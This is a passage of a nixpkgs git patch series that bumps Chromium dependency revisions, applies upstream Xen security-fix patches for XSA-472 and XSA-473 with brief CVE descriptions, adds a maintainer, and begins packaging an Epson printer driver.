         "url": "https://chromium.googlesource.com/external/fontconfig.git",
-        "rev": "c527fe1452d469e5fa1a211180dd40bcdb79fb2a",
-        "hash": "sha256-dmzY7TcNpZA9SxHn5nN0IaTzBbwCqd1PV5Sg4RuY7aI="
+        "rev": "86b48ec01ece451d5270d0c5181a43151e45a042",
+        "hash": "sha256-6HLV0U/MA1XprKJ70TKvwUBdkGQPwgqP4Oj5dINsKp0="
       },
       "src/third_party/fp16/src": {
         "url": "https://chromium.googlesource.com/external/github.com/Maratyszcza/FP16.git",
@@ -1109,8 +1109,8 @@
       },
       "src/third_party/freetype/src": {
         "url": "https://chromium.googlesource.com/chromium/src/third_party/freetype2.git",
-        "rev": "43940e4cb8fa6fec96cd52669544629c5eef58fa",
-        "hash": "sha256-1fnH0Qm9qtzjwBNlyHVQrVvvFelKIdhFMhA0zDxQVUY="
+        "rev": "27c1cb10a52420515ce66729dfca897be21691b8",
+        "hash": "sha256-2ialoA/hqlTwnbBkBlgz5CT2nzpUVXVMtEOxSxifiXQ="
       },
       "src/third_party/fxdiv/src": {
         "url": "https://chromium.googlesource.com/external/github.com/Maratyszcza/FXdiv.git",
@@ -1154,8 +1154,8 @@
       },
       "src/third_party/googletest/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/googletest.git",
-        "rev": "35b75a2cba6ef72b7ce2b6b94b05c54ca07df866",
-        "hash": "sha256-wB33XoxaMQuBls7tNIJ1u61ocKaMw4PyHXBXf/bMNTM="
+        "rev": "373af2e3df71599b87a40ce0e37164523849166b",
+        "hash": "sha256-07pEo2gj3n/IOipqz7UpZkBOywZt7FkfZFCnVyp3xYw="
       },
       "src/third_party/hunspell_dictionaries": {
         "url": "https://chromium.googlesource.com/chromium/deps/hunspell_dictionaries.git",
@@ -1164,8 +1164,8 @@
       },
       "src/third_party/icu": {
         "url": "https://chromium.googlesource.com/chromium/deps/icu.git",
-        "rev": "b929596baebf0ab4ac7ec07f38365db4c50a559d",
-        "hash": "sha256-/T7uyzwTCDaamLwSvutvbn6BJuoG1RqeR+xhXI5jmJw="
+        "rev": "1b2e3e8a421efae36141a7b932b41e315b089af8",
+        "hash": "sha256-k3z31DhDPoqjcZdUL4vjyUMVpUiNk44+7rCMTDVPH8Q="
       },
       "src/third_party/jsoncpp/source": {
         "url": "https://chromium.googlesource.com/external/github.com/open-source-parsers/jsoncpp.git",
@@ -1179,13 +1179,13 @@
       },
       "src/third_party/libFuzzer/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/compiler-rt/lib/fuzzer.git",
-        "rev": "e31b99917861f891308269c36a32363b120126bb",
-        "hash": "sha256-Lb+HczYax0T7qvC0/Nwhc5l2szQTUYDouWRMD/Qz7sA="
+        "rev": "bea408a6e01f0f7e6c82a43121fe3af4506c932e",
+        "hash": "sha256-TDi1OvYClJKmEDikanKVTmy8uxUXJ95nuVKo5u+uFPM="
       },
       "src/third_party/fuzztest/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/fuzztest.git",
-        "rev": "45a1c3ad5ac3de58c8e9a3f89036e3f954820d4c",
-        "hash": "sha256-qNGviVNU5VKCVQ1KkGmjGAaXF+ijL3s/u2yN+Ee5rmo="
+        "rev": "7bab06ff5fbbf8b8cce05a8661369dc2e11cde66",
+        "hash": "sha256-uWPhInzuidI4smFRjRF95aaVNTsehKd/1y4uRzr12mk="
       },
       "src/third_party/domato/src": {
         "url": "https://chromium.googlesource.com/external/github.com/googleprojectzero/domato.git",
@@ -1199,18 +1199,18 @@
       },
       "src/third_party/libaom/source/libaom": {
         "url": "https://aomedia.googlesource.com/aom.git",
-        "rev": "90c632fc6c01cd8637186c783ca8012bab3c3260",
-        "hash": "sha256-e+rUkNOakv6WQrgx1ozoJTynk/GZy1zdsnYX4oz+6ks="
+        "rev": "e91b7aa26d6d0979bba2bee5e1c27a7a695e0226",
+        "hash": "sha256-cER77Q9cM5rh+oeh1LDyKDZyQK5VbtE/ANNTN2cYzMo="
       },
       "src/third_party/crabbyavif/src": {
         "url": "https://chromium.googlesource.com/external/github.com/webmproject/CrabbyAvif.git",
-        "rev": "eb883022a5886739f07f0241f918e2be97d65ff0",
-        "hash": "sha256-IxtMAqN3O/s1GrVKzcge9cQ+DVtJtFvHYvsfjmflwVQ="
+        "rev": "644c9d84c123ac811a611760a9adc807e3eb5be5",
+        "hash": "sha256-snogXm3EMmDJoL2ikoaxeODYfmTaVEsAb5cMcRU7uC4="
       },
       "src/third_party/nearby/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/nearby-connections.git",
-        "rev": "fff5c22e3178a633f57e4ad1fb5ad96a6116240a",
-        "hash": "sha256-2mXmDWn292dNA85EUN5sxarOle5HEW5t526SM1UPeKg="
+        "rev": "a8889d12a27ef7006d1a47dfefc272e0815f5c41",
+        "hash": "sha256-pFcusmbij3OsSAmaKhuI8/bo3AlfP7DuTo/W/6mAZs8="
       },
       "src/third_party/securemessage/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/securemessage.git",
@@ -1219,8 +1219,8 @@
       },
       "src/third_party/jetstream/main": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/JetStream.git",
-        "rev": "6947a460f6b55ef5613c36263049ecf74c5ec1cd",
-        "hash": "sha256-lbsSiSRY3IikAKg30/gK3ncPxzOMhOUSQxvUIUCtJB0="
+        "rev": "fe1f348226d4b7c3447e606577960a606cc058e4",
+        "hash": "sha256-kznek87yenGR9Ft3D06LGDOy7+VPRhSUFru340mvES4="
       },
       "src/third_party/jetstream/v2.2": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/JetStream.git",
@@ -1229,8 +1229,8 @@
       },
       "src/third_party/speedometer/main": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/Speedometer.git",
-        "rev": "ba41f91e480cfd79c97a9d1d70a4c3d42d16c72b",
-        "hash": "sha256-DIXGY1wVj2W5A91X3A2eL6Tr+CVdKhHaGHtSqBRjtPQ="
+        "rev": "87f9ed88c8f8abe3a3bb19b9ec5ea49623d803ad",
+        "hash": "sha256-eIrkM7UxuaZox3A8pqEgvgpQCkcBO3zJWFwK45fgWm0="
       },
       "src/third_party/speedometer/v3.1": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/Speedometer.git",
@@ -1259,8 +1259,8 @@
       },
       "src/third_party/cros-components/src": {
         "url": "https://chromium.googlesource.com/external/google3/cros_components.git",
-        "rev": "97dc8c7a1df880206cc54d9913a7e9d73677072a",
-        "hash": "sha256-CT9c4LqTwhldsxoEny8MesULwQC4k95F4tfCtRZErGM="
+        "rev": "7ccdbf60606671c2c057628125908fbfef9bd0c8",
+        "hash": "sha256-g7LzBd2V21AaLdSdCw65WGYvKfrbtpRXsYc+3ILdiKs="
       },
       "src/third_party/libdrm/src": {
         "url": "https://chromium.googlesource.com/chromiumos/third_party/libdrm.git",
@@ -1314,23 +1314,23 @@
       },
       "src/third_party/libvpx/source/libvpx": {
         "url": "https://chromium.googlesource.com/webm/libvpx.git",
-        "rev": "686bf6f1cde888898498f89ba9aefa66b683566a",
-        "hash": "sha256-rdeALLoqK1bth/EQY86fZC++QgMFCYyn7qMxsh9CMj0="
+        "rev": "a985e5e847a2fe69bef3e547cf25088132194e39",
+        "hash": "sha256-BbXiBbnGwdsbZCZIpurfTzYvDUCysdt+ocRh6xvuUI8="
       },
       "src/third_party/libwebm/source": {
         "url": "https://chromium.googlesource.com/webm/libwebm.git",
-        "rev": "c4522d6cd68582d66f1adfd24debfa9bee202afa",
-        "hash": "sha256-tfji0yPV7v/DETViEp2T7AO6P5xCjPYScTlV3eWFV0w="
+        "rev": "f2a982d748b80586ae53b89a2e6ebbc305848b8c",
+        "hash": "sha256-SxDGt7nPVkSxwRF/lMmcch1h+C2Dyh6GZUXoZjnXWb4="
       },
       "src/third_party/libwebp/src": {
         "url": "https://chromium.googlesource.com/webm/libwebp.git",
-        "rev": "2af6c034ac871c967e04c8c9f8bf2dbc2e271b18",
-        "hash": "sha256-0sKGhXr6Rrpq0eoitAdLQ4l4fgNOzMWIEICrPyzwNz4="
+        "rev": "4fa21912338357f89e4fd51cf2368325b59e9bd9",
+        "hash": "sha256-eaGWMpF6ENrKxGxqXccQ0P1G0X+nQI0EoL0Y0R2VVZ0="
       },
       "src/third_party/libyuv": {
         "url": "https://chromium.googlesource.com/libyuv/libyuv.git",
-        "rev": "88798bcd636a93e92d69242da914deb4cec1dfb6",
-        "hash": "sha256-HPhxj3iK1YjWcfKT4o5CXhmvMBoGaA4JKco2HDf0Nec="
+        "rev": "cdd3bae84818e78466fec1ce954eead8f403d10c",
+        "hash": "sha256-ievGlutmOuuEEhWS82vMqxwqXCq8PF3508N0MCMPQus="
       },
       "src/third_party/lss": {
         "url": "https://chromium.googlesource.com/linux-syscall-support.git",
@@ -1364,8 +1364,8 @@
       },
       "src/third_party/openscreen/src": {
         "url": "https://chromium.googlesource.com/openscreen",
-        "rev": "dd421dc540e75bd4e52388dcb0656d4d96137a73",
-        "hash": "sha256-Bk9pD6fKdHBgnJOgqv8frA7+4WFBh837h9fXFgEebK8="
+        "rev": "f51be2dd676c855bc588a439f002bc941b87db6b",
+        "hash": "sha256-7AmfZjugPKty0lpinOR/Q22M7F34p57tl+gs6s2BJhY="
       },
       "src/third_party/openscreen/src/buildtools": {
         "url": "https://chromium.googlesource.com/chromium/src/buildtools",
@@ -1379,13 +1379,13 @@
       },
       "src/third_party/pdfium": {
         "url": "https://pdfium.googlesource.com/pdfium.git",
-        "rev": "bbdc38bc2d1693f56154f78eb5d4ff296d8ca3da",
-        "hash": "sha256-LYo73KuSVBEcRN1PqG0EBFeKaLy66UPtZ3DMHP5YVXM="
+        "rev": "1afaa1a380fcd06cec420f3e5b6ec1d2ccb920dc",
+        "hash": "sha256-kx2jF4kHeGECdf6WzcRKTmwhvmoKl+rIVQ2Ep8Y9rs8="
       },
       "src/third_party/perfetto": {
         "url": "https://chromium.googlesource.com/external/github.com/google/perfetto.git",
-        "rev": "18d4fdc15d027a989db705592585b924f93f1d42",
-        "hash": "sha256-ZmP/EFuFo9/xax8f+NEdGthfdAR/8+cTWoM9XPrkpcQ="
+        "rev": "4ab725613a8ee64e9acd7930eceb8995e24df562",
+        "hash": "sha256-V16Fm389yRNn0b13n70828c8xTdwxoQ6GW8iKLyy0qE="
       },
       "src/third_party/protobuf-javascript/src": {
         "url": "https://chromium.googlesource.com/external/github.com/protocolbuffers/protobuf-javascript",
@@ -1394,8 +1394,8 @@
       },
       "src/third_party/pthreadpool/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/pthreadpool.git",
-        "rev": "dcc9f28589066af0dbd4555579281230abbf74dd",
-        "hash": "sha256-qogacGPNy6SKQaK8CZvGC8YZbVjhDTXuhDqGopB0Eps="
+        "rev": "149f0a86f5ad215e9f0441684385ce09f345dbe4",
+        "hash": "sha256-3/FnJ2FL6fQSlymqJS/UoXTB4ZiW9d7xpvK3Ur8Ynp4="
       },
       "src/third_party/pyelftools": {
         "url": "https://chromium.googlesource.com/chromiumos/third_party/pyelftools.git",
@@ -1414,23 +1414,23 @@
       },
       "src/third_party/re2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/re2.git",
-        "rev": "c84a140c93352cdabbfb547c531be34515b12228",
-        "hash": "sha256-f/k2rloV2Nwb0KuJGUX4SijFxAx69EXcsXOG4vo+Kis="
+        "rev": "8451125897dd7816a5c118925e8e42309d598ecc",
+        "hash": "sha256-vjh4HI4JKCMAf5SZeqstb0M01w8ssaTwwrLAUsrFkkQ="
       },
       "src/third_party/ruy/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/ruy.git",
-        "rev": "83fd40d730feb0804fafbc2d8814bcc19a17b2e5",
-        "hash": "sha256-O3JEtXchCdIHdGvjD6kGMJzj7TWVczQCW2YUHK3cABA="
+        "rev": "9940fbf1e0c0863907e77e0600b99bb3e2bc2b9f",
+        "hash": "sha256-fV0El2ZgjxLqstKVN35SL72+diHNK0FkBmG5UwVZFrk="
       },
       "src/third_party/search_engines_data/resources": {
         "url": "https://chromium.googlesource.com/external/search_engines_data.git",
-        "rev": "273082bef7b1bc05eddb5079b83702938e40c677",
-        "hash": "sha256-FrEUhG9G7EMiOvih0/FSlpWIuA3/wyBaQZLapYcutz4="
+        "rev": "5c5db51f8c13cb42379d8b333890971f1a1a1797",
+        "hash": "sha256-Z4ykCZkUVatvkH3ytIdGOp0zEYLKIqr8fta0MnovZKw="
       },
       "src/third_party/skia": {
         "url": "https://skia.googlesource.com/skia.git",
-        "rev": "4abe0638e35d34b6fdb70f1f5ce0f0e1879a021e",
-        "hash": "sha256-hy06/Sy+rEzNyFv9R2Kg9kX7XIpCbQwCr5VjEH9CtKM="
+        "rev": "1fdbea293a53b270e3f5e74c92cc6670d68412ff",
+        "hash": "sha256-YiGzqaht1r8/dDz0C4fpKsPEIplm33dPce2UpLkYTZ0="
       },
       "src/third_party/smhasher/src": {
         "url": "https://chromium.googlesource.com/external/smhasher.git",
@@ -1449,8 +1449,8 @@
       },
       "src/third_party/swiftshader": {
         "url": "https://swiftshader.googlesource.com/SwiftShader.git",
-        "rev": "ed01d9931de34d3a6fb4d615050db5080d9cea16",
-        "hash": "sha256-is6sl3vRLyBjiHg97rI7WvxIiKg6eelqNfrZGTWPBtM="
+        "rev": "fdb6700ecb04103b658d2e4623d6bc663ba80ea8",
+        "hash": "sha256-jJT0hF1k5a6na+9aH1yHuUo6go/PzgKibP/k60m6+xM="
       },
       "src/third_party/text-fragments-polyfill/src": {
         "url": "https://chromium.googlesource.com/external/github.com/GoogleChromeLabs/text-fragments-polyfill.git",
@@ -1459,18 +1459,18 @@
       },
       "src/third_party/tflite/src": {
         "url": "https://chromium.googlesource.com/external/github.com/tensorflow/tensorflow.git",
-        "rev": "e6c5574b82d7950f978447704a70971c478f0f50",
-        "hash": "sha256-zdd0y0OILYoRhZ3O64g9MFdWLnAVJiM+CJUIN2RfmKo="
+        "rev": "fe38b1b8c23d86ed93c13ef367b19496e398462d",
+        "hash": "sha256-51tpID94hoxm0I2Mf3WFQBf5MsuzIzlkS9lOto/8tC4="
       },
       "src/third_party/vulkan-deps": {
         "url": "https://chromium.googlesource.com/vulkan-deps",
-        "rev": "f227ce323fb5a2fee1a98b6feea54b0e42b2f30d",
-        "hash": "sha256-8GHLg9S6f/k2XPgqeeZ6UCBQBoHuABdPYhpGecyqo+E="
+        "rev": "c466059b72815c7fbce8bb3ab4832407aabc5dc5",
+        "hash": "sha256-MEMOJBBMBeA0kBlU5ZhkPbfRpn1PSL1950IsU1rWaJ8="
       },
       "src/third_party/glslang/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/glslang",
-        "rev": "d176fb41992d5c091fb1c401e4e70306382e67fc",
-        "hash": "sha256-27C9ZokeehkoFdIpiYkQ6PBgcNUq0kVLl4tvcgFrYLg="
+        "rev": "38f6708b6b6f213010c51ffa8f577a7751e12ce7",
+        "hash": "sha256-HeH7j7IsjeP2vFPhX9cKzZ2O54eIGSCoSnPT4pumA00="
       },
       "src/third_party/spirv-cross/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Cross",
@@ -1479,48 +1479,43 @@
       },
       "src/third_party/spirv-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Headers",
-        "rev": "2a611a970fdbc41ac2e3e328802aed9985352dca",
-        "hash": "sha256-LRjMy9xtOErbJbMh+g2IKXfmo/hWpegZM72F8E122oY="
+        "rev": "97e96f9e9defeb4bba3cfbd034dec516671dd7a3",
+        "hash": "sha256-/OT6//yu8VmQMXs3DSgwEx2lMDTPlUuXJDjboNdLjrI="
       },
       "src/third_party/spirv-tools/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Tools",
-        "rev": "33e02568181e3312f49a3cf33df470bf96ef293a",
-        "hash": "sha256-yAdd/mXY8EJnE0vCu0n/aVxMH9059T/7cAdB9nP1vQQ="
+        "rev": "3aeaaa088d37b86cff036eee1a9bf452abad7d9d",
+        "hash": "sha256-bkoD3/4o/CjNBAp49vnRq4ZtY7TNgYkVPI5gESM8CUI="
       },
       "src/third_party/vulkan-headers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Headers",
-        "rev": "10739e8e00a7b6f74d22dd0a547f1406ff1f5eb9",
-        "hash": "sha256-OorBl9vIN4DqVgT8ae+05yCLon7m0ixQczEzDlpwFRI="
+        "rev": "a01329f307fa6067da824de9f587f292d761680b",
+        "hash": "sha256-LCRK6UzqvcRoa3sr6nsfkDf3aILXj8zjb48lirsLTIw="
       },
       "src/third_party/vulkan-loader/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Loader",
-        "rev": "342da33fdec78d269657194c9082835d647d2e68",
-        "hash": "sha256-G+sTBXuBodkXi7njI0foXTqaxchsWD9XtF9UBsknE30="
+        "rev": "f2389e27734347c1d9f40e03be53f69f969976b1",
+        "hash": "sha256-NIBn5HkAKzNaSruw742QBWPgCkrxQdmITvTASagYlKM="
       },
       "src/third_party/vulkan-tools/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Tools",
-        "rev": "e3fc64396755191b3c51e5c57d0454872e7fa487",
-        "hash": "sha256-EqLG8kMQx6nHX9iZMrsu0fn1z4nY6TEQ/feTINNbUzQ="
+        "rev": "f766b30b2de3ffe2cf6b656d943720882617ec58",
+        "hash": "sha256-9sF9syF7d28J5yzGsIHUcJ1QB2JmJZpAVqDt92ZZOY4="
       },
       "src/third_party/vulkan-utility-libraries/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Utility-Libraries",
-        "rev": "72665ee1e50db3d949080df8d727dffa8067f5f8",
-        "hash": "sha256-FSk/LeYCt/XeF8XJZtr+DoNbvMmfFIKUaYvmeq5xK+w="
+        "rev": "b0a40d2e50310e9f84327061290a390a061125a3",
+        "hash": "sha256-bj9YCZfIFeaQ9TVpyyztRs3LOIaJkKpkGKbU5g9hEzg="
       },
       "src/third_party/vulkan-validation-layers/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-ValidationLayers",
-        "rev": "e086a717059f54c94d090998628250ae8f238fd6",
-        "hash": "sha256-KF06qgduM4rAVs4MHvdS+QZs+3srB+p1NadQYTzc0OM="
+        "rev": "6b1b8e3d259241a68c0944ca0a7bb5320d086191",
+        "hash": "sha256-Do+6/v8Ysp1Wnnmdi5I+UKHpBcEG4xMeRROCWgLmJbY="
       },
       "src/third_party/vulkan_memory_allocator": {
         "url": "https://chromium.googlesource.com/external/github.com/GPUOpen-LibrariesAndSDKs/VulkanMemoryAllocator.git",
-        "rev": "56300b29fbfcc693ee6609ddad3fdd5b7a449a21",
-        "hash": "sha256-YzxHZagz/M8Y54UnI4h1wu5jSTuaOgv0ifC9d3fJZlQ="
-      },
-      "src/third_party/wasm_tts_engine/src": {
-        "url": "https://chromium.googlesource.com/chromium/wasm-tts-engine",
-        "rev": "352880bb49e2410707543c252ef6b94a21b0f47f",
-        "hash": "sha256-TFkniS4XvP0RlPnI1lv4RxxSY44RUuwCMKmmybENEBw="
+        "rev": "cb0597213b0fcb999caa9ed08c2f88dc45eb7d50",
+        "hash": "sha256-yBCs3zfqs/60htsZAOscjcyKhVbAWE6znweuXcs1oKo="
       },
       "src/third_party/wayland/src": {
         "url": "https://chromium.googlesource.com/external/anongit.freedesktop.org/git/wayland/wayland.git",
@@ -1529,8 +1524,8 @@
       },
       "src/third_party/wayland-protocols/src": {
         "url": "https://chromium.googlesource.com/external/anongit.freedesktop.org/git/wayland/wayland-protocols.git",
-        "rev": "7d5a3a8b494ae44cd9651f9505e88a250082765e",
-        "hash": "sha256-o/adWEXYSqWib6KoK7XMCWbojapcS4O/CEPxv7iFCw8="
+        "rev": "efbc060534be948b63e1f395d69b583eebba3235",
+        "hash": "sha256-tdpEK7soY0aKSk6VD4nulH7ORubX8RfjXYmNAd/cWKY="
       },
       "src/third_party/wayland-protocols/kde": {
         "url": "https://chromium.googlesource.com/external/github.com/KDE/plasma-wayland-protocols.git",
@@ -1554,18 +1549,18 @@
       },
       "src/third_party/webgpu-cts/src": {
         "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts.git",
-        "rev": "2a8d4a83f751286302ce34573409ad75cc318508",
-        "hash": "sha256-VUSsDgNHMiSCLDDicscMwskFu/qOzuz04mqYoFtnJF8="
+        "rev": "07f4412e935c988d60fad2e373287d6450bcd231",
+        "hash": "sha256-yb7NqciuvXi7crCqpN+7hgJ+JXfDF9x48gkYI2uSTtA="
       },
       "src/third_party/webpagereplay": {
         "url": "https://chromium.googlesource.com/webpagereplay.git",
-        "rev": "f3397454e39a7c0b35af192e6d8a1896af7bd9ec",
-        "hash": "sha256-saa07zzzbehOm4gIMoGVB0AZ2nLqmjnT5IfYBSsnZIw="
+        "rev": "eebd5c62cb5c6a5afbb36eccdcc3b3e01f28adc9",
+        "hash": "sha256-WXiWUVTX4JBuavc3qxPpWeM2qZsyMr64iqF/fu9fzRI="
       },
       "src/third_party/webrtc": {
         "url": "https://webrtc.googlesource.com/src.git",
-        "rev": "23d8e44f84822170bee4425760b44237959423e5",
-        "hash": "sha256-8IETxHh2Lcgc2N0pV0kTEsbOAchsgwj6VZVDAcVssxw="
+        "rev": "847fe7905954f3ae883de2936415ff567aa9039b",
+        "hash": "sha256-kcK1kJdPCkXbEFuS+b6wKUBaKLXmkAEwVKp4/YWDv8s="
       },
       "src/third_party/wuffs/src": {
         "url": "https://skia.googlesource.com/external/github.com/google/wuffs-mirror-release-c.git",
@@ -1584,8 +1579,8 @@
       },
       "src/third_party/xnnpack/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/XNNPACK.git",
-        "rev": "3c99186b3276aa891f94ebba35f6b16e627d57de",
-        "hash": "sha256-CXX0F2H0WjgOxV2iD8bizj1JZOknry7qTmtsv9yAJFU="
+        "rev": "ae40b1a2d93d5c516bc7657c6c3eea1470f917ae",
+        "hash": "sha256-w+8aCRTlBWQcDh4EvAF87eiLmQWsIsxD9adPTnuA12E="
       },
       "src/third_party/zstd/src": {
         "url": "https://chromium.googlesource.com/external/github.com/facebook/zstd.git",
@@ -1594,8 +1589,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "a0a7886d6b3707be8d4b403e463fa82fdb3f216c",
-        "hash": "sha256-KjIBJw40hiBkcHNn96dD5iZs2n2HMWIkAJ6ND2+5JJQ="
+        "rev": "fdb12b460f148895f6af2ff0e0d870ff8889f154",
+        "hash": "sha256-x8a8VYFrAZ0huj3WRlczrhg0quXx4cztz8nDs9ToWYg="
       }
     }
   }

From fbc146f31e226237f12b7451a4dfdab7aa908a4d Mon Sep 17 00:00:00 2001
From: Fernando Rodrigues <alpha@sigmasquadron.net>
Date: Tue, 9 Sep 2025 22:45:20 +1000
Subject: [PATCH 4387/4511] xen: patch with XSA-472

Mutiple vulnerabilities in the Viridian interface

There are multiple issues related to the handling and accessing of guest
memory pages in the viridian code:

 1. A NULL pointer dereference in the updating of the reference TSC area.
    This is CVE-2025-27466.

 2. A NULL pointer dereference by assuming the SIM page is mapped when
    a synthetic timer message has to be delivered.  This is
    CVE-2025-58142.

 3. A race in the mapping of the reference TSC page, where a guest can
    get Xen to free a page while still present in the guest physical to
    machine (p2m) page tables.  This is CVE-2025-58143.

Signed-off-by: Fernando Rodrigues <alpha@sigmasquadron.net>

(cherry picked from commit 2648215258ade8d8d7ec33229395f596becae3c3)
Signed-off-by: Fernando Rodrigues <alpha@sigmasquadron.net>
---
 pkgs/by-name/xe/xen/package.nix | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/pkgs/by-name/xe/xen/package.nix b/pkgs/by-name/xe/xen/package.nix
index d09f0fc9fbd3..b565f186902a 100644
--- a/pkgs/by-name/xe/xen/package.nix
+++ b/pkgs/by-name/xe/xen/package.nix
@@ -1,5 +1,6 @@
 {
   buildXenPackage,
+  fetchpatch,
   python3Packages,
 }:
 
@@ -8,4 +9,20 @@ buildXenPackage.override { inherit python3Packages; } {
   version = "4.19.3";
   rev = "077419f04a3125c58dcf9724c954f98d1e927392";
   hash = "sha256-e9aPLgzNVxUn7WnLbBHwFIN02DAObfA24VjiqdiP+jA=";
+
+  patches = [
+    # XSA 472
+    (fetchpatch {
+      url = "https://xenbits.xen.org/xsa/xsa472-1.patch";
+      hash = "sha256-6k/X7KFno9uBG0mUtJxl7TMavaRs2Xlj9JlW9ai6p0k=";
+    })
+    (fetchpatch {
+      url = "https://xenbits.xen.org/xsa/xsa472-2.patch";
+      hash = "sha256-BisdztU9Wa5nIGmHo4IikqYPHdEhBehHaNqj1IuBe6I=";
+    })
+    (fetchpatch {
+      url = "https://xenbits.xen.org/xsa/xsa472-3.patch";
+      hash = "sha256-rikOofQeuLNMBkdQS3xzmwh7BlgMOTMSsQcAOEzNOso=";
+    })
+  ];
 }

From f6fd7105b5abe86345a2cdb7fede22e1c55dbc5f Mon Sep 17 00:00:00 2001
From: Fernando Rodrigues <alpha@sigmasquadron.net>
Date: Tue, 9 Sep 2025 22:50:34 +1000
Subject: [PATCH 4388/4511] xen: patch with XSA-473

This patch only affects ARM, but it's better than setting ARM as knownVulnerabilities.

Arm issues with page refcounting

There are two issues related to the mapping of pages belonging to other
domains: For one, an assertion is wrong there, where the case actually
needs handling.  A NULL pointer de-reference could result on a release
build.  This is CVE-2025-58144.

And then the P2M lock isn't held until a page reference was actually
obtained (or the attempt to do so has failed).  Otherwise the page can
not only change type, but even ownership in between, thus allowing
domain boundaries to be violated.  This is CVE-2025-58145.

Signed-off-by: Fernando Rodrigues <alpha@sigmasquadron.net>

(cherry picked from commit 15968113a2e0eeb0e75e39000080ada3475c0cb2)
---
 pkgs/by-name/xe/xen/package.nix | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/pkgs/by-name/xe/xen/package.nix b/pkgs/by-name/xe/xen/package.nix
index b565f186902a..f8478b497a28 100644
--- a/pkgs/by-name/xe/xen/package.nix
+++ b/pkgs/by-name/xe/xen/package.nix
@@ -24,5 +24,15 @@ buildXenPackage.override { inherit python3Packages; } {
       url = "https://xenbits.xen.org/xsa/xsa472-3.patch";
       hash = "sha256-rikOofQeuLNMBkdQS3xzmwh7BlgMOTMSsQcAOEzNOso=";
     })
+
+    # XSA 473
+    (fetchpatch {
+      url = "https://xenbits.xen.org/xsa/xsa473-1.patch";
+      hash = "sha256-594tTalWcGJSLj3++4QB/ADkHH1qJNrdvg7FG6kOuB8=";
+    })
+    (fetchpatch {
+      url = "https://xenbits.xen.org/xsa/xsa473-2.patch";
+      hash = "sha256-tGuIGxJFBXbckIruSUeTyrM6GabdIj6Pr3cVxeDvNNY=";
+    })
   ];
 }

From 885f7f020649b1768e02f87b534ae1d5a9072105 Mon Sep 17 00:00:00 2001
From: heichro <76887148+heichro@users.noreply.github.com>
Date: Wed, 23 Jul 2025 15:45:25 +0200
Subject: [PATCH 4389/4511] maintainers: add heichro

(cherry picked from commit 1195e6757a967eeff49b01a3dcd6f683322516a6)
---
 maintainers/maintainer-list.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 3e01024d7823..839d5f5b385b 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -9749,6 +9749,12 @@
     githubId = 665472;
     matrix = "@hehongbo:matrix.org";
   };
+  heichro = {
+    github = "heichro";
+    githubId = 76887148;
+    keys = [ { fingerprint = "BBA7 9E8E 17FE 9C3F BFEA  61E8 30D0 186F 4E19 7E48"; } ];
+    name = "heichro";
+  };
   heijligen = {
     email = "src@posteo.de";
     github = "heijligen";

From 5d8ec6c1dd76e0f8718429fe4228517242e66a08 Mon Sep 17 00:00:00 2001
From: heichro <76887148+heichro@users.noreply.github.com>
Date: Thu, 24 Jul 2025 21:47:33 +0200
Subject: [PATCH 4390/4511] epson-inkjet-printer-workforce-840-series: init at
 1.0.0

(cherry picked from commit 19502c059b628d4cd2d4264f884d3043e55c1849)
---
 .../eps_raster_print-cast.patch               |  21 +++
 .../include-raster-helper.patch               |  23 +++
 .../package.nix                               | 131 ++++++++++++++++++
 3 files changed, 175 insertions(+)
 create mode 100644 pkgs/by-name/ep/epson-inkjet-printer-workforce-840-series/eps_raster_print-cast.patch
 create mode 100644 pkgs/by-name/ep/epson-inkjet-printer-workforce-840-series/include-raster-helper.patch
 create mode 100644 pkgs/by-name/ep/epson-inkjet-printer-workforce-840-series/package.nix

diff --git a/pkgs/by-name/ep/epson-inkjet-printer-workforce-840-series/eps_raster_print-cast.patch b/pkgs/by-name/ep/epson-inkjet-printer-workforce-840-series/eps_raster_print-cast.patch
new file mode 100644
index 000000000000..618ac1c91de9
--- /dev/null
+++ b/pkgs/by-name/ep/epson-inkjet-printer-workforce-840-series/eps_raster_print-cast.patch
@@ -0,0 +1,21 @@
+diff --git a/src/raster_to_epson.c b/src/raster_to_epson.c
+index 6e621c8..a5ca797 100644
+--- a/src/raster_to_epson.c
++++ b/src/raster_to_epson.c
+@@ -438,14 +438,14 @@ static int print_page (void)
+ 					break;
+ 				}
+ 
+-				if (eps_raster_print(raster_h, image_raw, pageRegion.bytesPerLine, pageRegion.width, &nraster)) {
++				if (eps_raster_print(raster_h, image_raw, pageRegion.bytesPerLine, pageRegion.width, (int *) &nraster)) {
+ 					error  = 1;
+ 					break;
+ 				}
+ 			}
+ 
+ 			// flushing page
+-			eps_raster_print(raster_h, NULL, 0, 0, &nraster);
